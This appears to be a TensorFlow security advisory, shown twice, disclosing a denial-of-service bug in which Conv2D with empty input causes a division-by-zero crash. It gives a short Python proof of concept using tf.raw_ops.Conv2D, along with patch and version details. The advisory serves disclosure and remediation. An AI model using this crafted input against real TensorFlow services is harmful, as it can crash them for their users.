Impact
If Conv2D is given empty input and the filter and padding sizes are valid, the output is all-zeros. This causes division-by-zero floating point exceptions that can be used to trigger a denial of service attack.
import tensorflow as tf
import numpy as np
with tf.device("CPU"): # also can be triggerred on GPU
input = np.ones([1, 0, 2, 1])
filter = np.ones([1, 1, 1, 1])
strides = ([1, 1, 1, 1])
padding = "EXPLICIT"
explicit_paddings = [0 , 0, 1, 1, 1, 1, 0, 0]
data_format = "NHWC"
res = tf.raw_ops.Conv2D(
input=input,
filter=filter,
strides=strides,
padding=padding,
explicit_paddings=explicit_paddings,
data_format=data_format,
)Patches
We have patched the issue in GitHub commit 611d80db29dd7b0cfb755772c69d60ae5bca05f9.
The fix will be included in TensorFlow 2.10.0. We will also cherrypick this commit on TensorFlow 2.9.1, TensorFlow 2.8.1, and TensorFlow 2.7.2, as these are also affected and still in supported range.
For more information
Please consult our security guide for more information regarding the security model and how to contact us with issues and questions.
Attribution
This vulnerability has been reported by Jingyi Shi.
References
Impact
If
Conv2Dis given emptyinputand thefilterandpaddingsizes are valid, the output is all-zeros. This causes division-by-zero floating point exceptions that can be used to trigger a denial of service attack.Patches
We have patched the issue in GitHub commit 611d80db29dd7b0cfb755772c69d60ae5bca05f9.
The fix will be included in TensorFlow 2.10.0. We will also cherrypick this commit on TensorFlow 2.9.1, TensorFlow 2.8.1, and TensorFlow 2.7.2, as these are also affected and still in supported range.
For more information
Please consult our security guide for more information regarding the security model and how to contact us with issues and questions.
Attribution
This vulnerability has been reported by Jingyi Shi.
References